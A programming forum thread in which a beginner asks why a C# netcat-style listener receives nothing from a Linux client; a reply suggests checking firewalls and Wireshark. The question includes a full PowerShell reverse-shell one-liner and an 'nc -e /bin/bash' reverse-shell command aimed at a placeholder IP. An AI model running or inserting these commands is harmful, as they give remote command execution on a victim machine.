Writing a Netcat similar tool in c# but can't receive data from linux

Mesutyldrm

New member
Joined
Apr 16, 2023
Messages
1
Programming Experience
Beginner
Hi guys,
I'm writing a tool like nc. I'm giving my ip adress and my port to listen for incoming connections. This is my source code :

C#:
using System;
using System.Collections.Generic;
using System.Net;
using System.Net.Sockets;
using System.Text;

namespace Netcat
{
    class Program
    {
        static void Main(string[] args)
        {
            var ip_Address = "XXX.XXX.XXX.XXX";
            var port = 4433;
            IPAddress ipadress = IPAddress.Parse(ip_Address);
            IPEndPoint endPoint = new IPEndPoint(ipadress, port);
        // A server socket is created and bound to the defined IP address and port
            Socket server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            server.Bind(endPoint);
            server.Listen(10);
            Console.WriteLine("Listening");
        // The server waits for a client to connect and once a connection is established, the client socket is accepted

            Socket clientSocket = server.Accept();
            Console.WriteLine("[+]Got Connection");

        // Receive and send buffers are created
            byte[] receiveBuffer = new byte[1024];
            byte[] sendBuffer = new byte[1024];

        // A new object of type StateObject is created to hold the client socket object

            StateObject state = new StateObject();
            state.workSocket = clientSocket;


            while (true)
            {

                 // Checks if data is available to be received
                if (clientSocket.Available > 0)
                {
                    // If data is available, the ReceiveCallback method is called
                    clientSocket.BeginReceive(state.buffer, 0, StateObject.BufferSize, SocketFlags.None, new AsyncCallback(ReceiveCallback), state);
                }

            // enter a command to be sent to the client
                var command = Console.ReadLine();
            // The command is converted to bytes and sent to the client
                sendBuffer = Encoding.ASCII.GetBytes(command.ToString());
                clientSocket.Send(sendBuffer);
            }
        }

    // The ReceiveCallback method is called when data is received
        public static void ReceiveCallback(IAsyncResult ar)
        {
            StateObject state = (StateObject)ar.AsyncState;
            Socket clientSocket = state.workSocket;

        // The number of bytes received is calculated and the received data is stored in a byte array
            int numByte = clientSocket.EndReceive(ar);
            byte[] receivedBytes = new byte[numByte];
            Array.Copy(state.buffer, receivedBytes, numByte);
            string receive = Encoding.ASCII.GetString(receivedBytes);
            Console.WriteLine(receive);

                   // The received data is converted to a string and printed to the console
        // Asynchronously receive data again

            clientSocket.BeginReceive(state.buffer, 0, StateObject.BufferSize, SocketFlags.None, new AsyncCallback(ReceiveCallback), state);
        }

    // The StateObject class is used to hold the client socket object and buffer size

        public class StateObject
        {
            public Socket workSocket = null;
            public const int BufferSize = 1024;
            public byte[] buffer = new byte[BufferSize];
        }
    }
}
I can connect my server with powershell one line reverse shell:

C#:
$client = New-Object System.Net.Sockets.TCPClient('XXX.XXX.XXX.XXX',4433);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

I can connect with this powershell reverse shell. I can send commands and get response but, when I try to do same thing from my kali linux with nc reverse shell command:

Bash:
nc XXX.XXX.XXX.XXX 4433 -e /bin/bash
I can connect, I can send data but, I can't recevie anything from client. I mean, the ReceiveCallback asynchronous function is never triggered because clientsocket.Available is always 0 (I also tried to remove clientsocket.Available > 0 if statement but didn't work. Still can't receive data). So, I can't receive anything. What should I do? What am I doing wrong?
I set some breakpoints and tried to understood what is the problem but, couldn't understand. Then, I searched on google but, couldn't find anything useful.
 
Last edited:
Any active firewalls (courtesy of your Antivirus of choice) running on the PC? If so, try opening up incoming ports (or temporarily disable your AV).

Otherwise, it maybe time to open up WireShark (or equivalent) and watch the packets.
 
Back
Top Bottom